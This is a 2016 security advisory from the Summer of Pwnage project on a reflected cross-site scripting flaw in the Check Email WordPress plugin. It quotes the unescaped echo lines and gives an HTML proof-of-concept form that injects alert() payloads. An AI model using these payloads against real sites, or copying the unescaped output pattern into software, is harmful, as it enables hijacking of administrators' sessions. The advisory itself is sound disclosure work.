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Cross-Site Scripting in Check Email WordPress Plugin
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Antonis Manaras, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Check Email
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.
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OVE ID
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OVE-20160725-0009
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Tested versions
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This issue was successfully tested on Check Email WordPress Plugin
version 0.3.
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Fix
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The issue is fixed in Check Email version 0.5.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_check_email_wordpress_plugin.html
A Reflected Cross-Site Scripting vulnerability exists in the Check Email WordPress plugin. This vulnerability allows an attacker to perform any action with the privileges of the admin user. The affected code is not protected with an anti-Cross-Site Request Forgery token. Consequently, it can be exploited by luring the target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
The vulnerability exists in the file check-email/check-email.php:
132: echo $_POST["checkemail_mime"];
140: echo $_POST["checkemail_type"];
148: echo $_POST["checkemail_from"];
156: echo $_POST["checkemail_cc"];
The vulnerability can be exploited using specially crafted URL parameters. In order to exploit this issue the target user must click a specially crafted link or visit a malicious website (or advertisement).
Proof of concept
<html>
<body>
<form action="http://172.16.52.198/wp-admin/tools.php?page=checkemail" method="POST">
<input type="hidden" name="checkemail_to" value="" />
<input type="hidden" name="checkemail_headers" value="custom" />
<input type="hidden" name="checkemail_mime" value=""><img src=x onerror=alert(1) />" />
<input type="hidden" name="checkemail_type" value=""><img src=x onerror=alert(2) /%3" />
<input type="hidden" name="checkemail_from" value=""><img src=x onerror=alert(3) />" />
<input type="hidden" name="checkemail_cc" value=""></textarea><script>alert(4);</script>" />
<input type="hidden" name="checkemail_break" value="\n" />
<input type="hidden" name="checkemail_go" value="Send test email" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
